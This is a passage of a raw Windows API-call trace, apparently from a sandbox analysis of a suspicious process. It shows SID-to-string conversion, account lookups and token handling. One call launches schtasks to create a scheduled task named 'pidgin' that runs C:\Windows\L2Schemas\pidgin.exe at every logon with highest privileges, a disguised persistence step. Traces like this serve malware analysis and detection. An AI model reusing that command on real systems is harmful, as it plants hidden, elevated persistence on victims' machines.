SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0111.645] malloc (_Size=0x1c) returned 0x196ef0fa180 [0111.645] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0fa180, pSourceSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0fa180*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0111.645] GetSidIdentifierAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0da2 [0111.645] malloc (_Size=0x18) returned 0x196ef0d1a60 [0111.645] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0111.645] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0111.645] malloc (_Size=0x18) returned 0x196ef0d1be0 [0111.645] SysStringLen (param_1="S-1-") returned 0x4 [0111.645] SysStringLen (param_1="5") returned 0x1 [0111.645] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7c75b8, _Size=0xa | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0111.645] memcpy (in: _Dst=0x196ee7aaa50, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aaa50) returned 0x196ee7aaa50 [0111.645] free (_Block=0x196ef0d1a60) [0111.645] free (_Block=0x196ef0d1bc0) [0111.645] GetSidSubAuthorityCount (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0da1 [0111.645] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0da8 [0111.646] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0111.646] malloc (_Size=0x18) returned 0x196ef0d19e0 [0111.646] malloc (_Size=0x18) returned 0x196ef0d1d80 [0111.646] SysStringLen (param_1="S-1-5") returned 0x5 [0111.646] SysStringLen (param_1="-") returned 0x1 [0111.646] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aaa48, _Size=0xc | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0111.646] memcpy (in: _Dst=0x196ee7aab42, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7aab42) returned 0x196ee7aab42 [0111.646] free (_Block=0x196ef0d1be0) [0111.646] free (_Block=0x196ef0d19e0) [0111.646] malloc (_Size=0x18) returned 0x196ef0d1d00 [0111.646] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0111.646] SysStringLen (param_1="S-1-5-") returned 0x6 [0111.646] SysStringLen (param_1="21") returned 0x2 [0111.646] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aab38, _Size=0xe | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0111.646] memcpy (in: _Dst=0x196ee7c75c4, _Src=0x196ee7aaa48, _Size=0x6 | out: _Dst=0x196ee7c75c4) returned 0x196ee7c75c4 [0111.646] free (_Block=0x196ef0d1d80) [0111.646] free (_Block=0x196ef0d1d00) [0111.646] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0dac [0111.646] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0111.646] malloc (_Size=0x18) returned 0x196ef0d1d20 [0111.646] malloc (_Size=0x18) returned 0x196ef0d1960 [0111.646] SysStringLen (param_1="S-1-5-21") returned 0x8 [0111.647] SysStringLen (param_1="-") returned 0x1 [0111.647] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7c75b8, _Size=0x12 | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0111.647] memcpy (in: _Dst=0x196ee7aaa58, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aaa58) returned 0x196ee7aaa58 [0111.647] free (_Block=0x196ef0d1aa0) [0111.647] free (_Block=0x196ef0d1d20) [0111.647] malloc (_Size=0x18) returned 0x196ef0d1f00 [0111.647] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0111.647] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0111.647] SysStringLen (param_1="1560258661") returned 0xa [0111.647] memcpy (in: _Dst=0x196ee777fc8, _Src=0x196ee7aaa48, _Size=0x14 | out: _Dst=0x196ee777fc8) returned 0x196ee777fc8 [0111.647] memcpy (in: _Dst=0x196ee777fda, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee777fda) returned 0x196ee777fda [0111.647] free (_Block=0x196ef0d1960) [0111.647] free (_Block=0x196ef0d1f00) [0111.647] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0db0 [0111.647] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0111.647] malloc (_Size=0x18) returned 0x196ef0d1e60 [0111.647] malloc (_Size=0x18) returned 0x196ef0d1c40 [0111.647] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0111.647] SysStringLen (param_1="-") returned 0x1 [0111.647] memcpy (in: _Dst=0x196ee777618, _Src=0x196ee777fc8, _Size=0x28 | out: _Dst=0x196ee777618) returned 0x196ee777618 [0111.647] memcpy (in: _Dst=0x196ee77763e, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee77763e) returned 0x196ee77763e [0111.648] free (_Block=0x196ef0d1aa0) [0111.648] free (_Block=0x196ef0d1e60) [0111.648] malloc (_Size=0x18) returned 0x196ef0d1b40 [0111.648] malloc (_Size=0x18) returned 0x196ef0d19e0 [0111.648] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0111.648] SysStringLen (param_1="3990802383") returned 0xa [0111.648] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777618, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0111.648] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0111.648] free (_Block=0x196ef0d1c40) [0111.648] free (_Block=0x196ef0d1b40) [0111.648] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0db4 [0111.648] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0111.648] malloc (_Size=0x18) returned 0x196ef0d1e20 [0111.648] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0111.648] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0111.648] SysStringLen (param_1="-") returned 0x1 [0111.648] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0111.648] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0111.648] free (_Block=0x196ef0d19e0) [0111.648] free (_Block=0x196ef0d1e20) [0111.648] malloc (_Size=0x18) returned 0x196ef0d1be0 [0111.648] malloc (_Size=0x18) returned 0x196ef0d1e00 [0111.648] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0111.649] SysStringLen (param_1="1811730007") returned 0xa [0111.649] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0111.649] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0111.649] free (_Block=0x196ef0d1fc0) [0111.649] free (_Block=0x196ef0d1be0) [0111.649] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0db8 [0111.649] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0111.649] malloc (_Size=0x18) returned 0x196ef0d2080 [0111.649] malloc (_Size=0x18) returned 0x196ef0d1be0 [0111.649] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0111.649] SysStringLen (param_1="-") returned 0x1 [0111.649] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0111.649] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0111.649] free (_Block=0x196ef0d1e00) [0111.649] free (_Block=0x196ef0d2080) [0111.649] malloc (_Size=0x18) returned 0x196ef0d20a0 [0111.649] malloc (_Size=0x18) returned 0x196ef0d1e60 [0111.649] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0111.649] SysStringLen (param_1="1000") returned 0x4 [0111.649] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0111.649] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0111.650] free (_Block=0x196ef0d1be0) [0111.650] free (_Block=0x196ef0d20a0) [0111.650] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0111.650] malloc (_Size=0x5e) returned 0x196ef0d0370 [0111.650] free (_Block=0x196ef0d1e60) [0111.650] malloc (_Size=0x18) returned 0x196ef0d1f00 [0111.650] free (_Block=0x196ef0d0370) [0111.650] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0111.661] GetLastError () returned 0x7a [0111.661] malloc (_Size=0x1a) returned 0x196ef0f9d60 [0111.661] malloc (_Size=0xe) returned 0x196ef0d1b40 [0111.661] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9d60, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1b40, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0111.663] malloc (_Size=0x18) returned 0x196ef0d1a60 [0111.663] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0111.663] free (_Block=0x196ef0f9d60) [0111.663] free (_Block=0x196ef0d1b40) [0111.664] free (_Block=0x196ef0fa180) [0111.664] free (_Block=0x196ef0d1bc0) [0111.664] free (_Block=0x196ef0d1a60) [0111.664] free (_Block=0x196ef0d1f00) [0111.664] free (_Block=0x196ef0d0d90) [0111.665] SetEvent (hEvent=0x248) returned 1 [0111.666] free (_Block=0x196ef0d5f00) [0111.666] CreateEnvironmentBlock () returned 0x1 [0111.682] malloc (_Size=0x18) returned 0x196ef0d1f00 [0111.682] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"pidgin\" /sc ONLOGON /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"pidgin\" /sc ONLOGON /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1240, dwThreadId=0x1230)) returned 1 [0111.694] CloseHandle (hObject=0x260) returned 1 [0111.694] CloseHandle (hObject=0x264) returned 1 [0111.694] free (_Block=0x196ef0d1f00) [0111.694] DestroyEnvironmentBlock () returned 0x1 [0111.694] malloc (_Size=0x48) returned 0x196ef0d5690 [0111.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x236d827f, dwHighDateTime=0x1d9eb0c)) [0111.695] SetEvent (hEvent=0x248) returned 1 [0111.696] CloseHandle (hObject=0x270) returned 1 [0111.696] CloseHandle (hObject=0x26c) returned 1 [0111.771] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0111.771] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0111.772] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0111.772] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0112.374] RtlRestoreLastWin32Error () returned 0x670dbf000 [0112.374] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0112.374] RtlRestoreLastWin32Error () returned 0x670dbf000 [0112.375] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0112.375] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0112.375] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0112.375] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0112.377] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0112.378] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0112.378] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0112.378] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0112.379] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0112.381] GetCurrentThread () returned 0xfffffffffffffffe [0112.381] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0112.381] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0112.381] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0112.381] GetLastError () returned 0x7a [0112.381] malloc (_Size=0x2c) returned 0x196ef0d14d0 [0112.381] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d14d0, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d14d0, ReturnLength=0x67117c740) returned 1 [0112.381] IsValidSid (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0112.381] GetLengthSid (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0112.382] malloc (_Size=0x1c) returned 0x196ef0f9d00 [0112.382] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9d00, pSourceSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9d00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0112.382] GetSidIdentifierAuthority (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d14e2 [0112.382] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0112.382] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0112.382] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0112.382] malloc (_Size=0x18) returned 0x196ef0d1c00 [0112.382] SysStringLen (param_1="S-1-") returned 0x4 [0112.382] SysStringLen (param_1="5") returned 0x1 [0112.382] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0112.382] memcpy (in: _Dst=0x196ee7aaa80, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7aaa80) returned 0x196ee7aaa80 [0112.382] free (_Block=0x196ef0d1fe0) [0112.382] free (_Block=0x196ef0d1aa0) [0112.382] GetSidSubAuthorityCount (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d14e1 [0112.382] GetSidSubAuthority (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d14e8 [0112.382] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0112.382] malloc (_Size=0x18) returned 0x196ef0d1b40 [0112.382] malloc (_Size=0x18) returned 0x196ef0d1960 [0112.382] SysStringLen (param_1="S-1-5") returned 0x5 [0112.382] SysStringLen (param_1="-") returned 0x1 [0112.383] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7aaa78, _Size=0xc | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0112.383] memcpy (in: _Dst=0x196ee7aa962, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aa962) returned 0x196ee7aa962 [0112.383] free (_Block=0x196ef0d1c00) [0112.383] free (_Block=0x196ef0d1b40) [0112.383] malloc (_Size=0x18) returned 0x196ef0d1a60 [0112.383] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0112.383] SysStringLen (param_1="S-1-5-") returned 0x6 [0112.383] SysStringLen (param_1="21") returned 0x2 [0112.383] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aa958, _Size=0xe | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0112.383] memcpy (in: _Dst=0x196ee7aaa24, _Src=0x196ee7aaa78, _Size=0x6 | out: _Dst=0x196ee7aaa24) returned 0x196ee7aaa24 [0112.383] free (_Block=0x196ef0d1960) [0112.383] free (_Block=0x196ef0d1a60) [0112.383] GetSidSubAuthority (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d14ec [0112.383] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0112.383] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0112.383] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0112.383] SysStringLen (param_1="S-1-5-21") returned 0x8 [0112.383] SysStringLen (param_1="-") returned 0x1 [0112.383] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aaa18, _Size=0x12 | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0112.383] memcpy (in: _Dst=0x196ee7aaa88, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7aaa88) returned 0x196ee7aaa88 [0112.383] free (_Block=0x196ef0d1ac0) [0112.384] free (_Block=0x196ef0d1ba0) [0112.384] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0112.384] malloc (_Size=0x18) returned 0x196ef0d1c20 [0112.384] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0112.384] SysStringLen (param_1="1560258661") returned 0xa [0112.384] memcpy (in: _Dst=0x196ee777f28, _Src=0x196ee7aaa78, _Size=0x14 | out: _Dst=0x196ee777f28) returned 0x196ee777f28 [0112.384] memcpy (in: _Dst=0x196ee777f3a, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee777f3a) returned 0x196ee777f3a [0112.384] free (_Block=0x196ef0d1ae0) [0112.384] free (_Block=0x196ef0d1ba0) [0112.384] GetSidSubAuthority (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d14f0 [0112.384] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0112.384] malloc (_Size=0x18) returned 0x196ef0d1a20 [0112.384] malloc (_Size=0x18) returned 0x196ef0d1de0 [0112.384] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0112.384] SysStringLen (param_1="-") returned 0x1 [0112.384] memcpy (in: _Dst=0x196ee777d98, _Src=0x196ee777f28, _Size=0x28 | out: _Dst=0x196ee777d98) returned 0x196ee777d98 [0112.384] memcpy (in: _Dst=0x196ee777dbe, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee777dbe) returned 0x196ee777dbe [0112.384] free (_Block=0x196ef0d1c20) [0112.384] free (_Block=0x196ef0d1a20) [0112.384] malloc (_Size=0x18) returned 0x196ef0d1c60 [0112.384] malloc (_Size=0x18) returned 0x196ef0d20a0 [0112.385] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0112.385] SysStringLen (param_1="3990802383") returned 0xa [0112.385] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee777d98, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0112.385] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aaa78, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0112.385] free (_Block=0x196ef0d1de0) [0112.385] free (_Block=0x196ef0d1c60) [0112.385] GetSidSubAuthority (pSid=0x196ef0d14e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d14f4 [0112.385] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0112.385] malloc (_Size=0x18) returned 0x196ef0d1a80 [0112.385] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0112.385] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0112.385] SysStringLen (param_1="-") returned 0x1 [0112.385] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0112.385] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0112.385] free (_Block=0x196ef0d20a0) [0112.385] free (_Block=0x196ef0d1a80) [0112.385] malloc (_Size=0x18) returned 0x196ef0d1b00 [0112.385] malloc (_Size=0x18) returned 0x196ef0d1b40 [0112.385] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0112.385] SysStringLen (param_1="1811730007") returned 0xa [0112.385] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0112.386] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aaa78, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0112.386] free (_Block=0x196ef0d1ae0) [0112.386] free 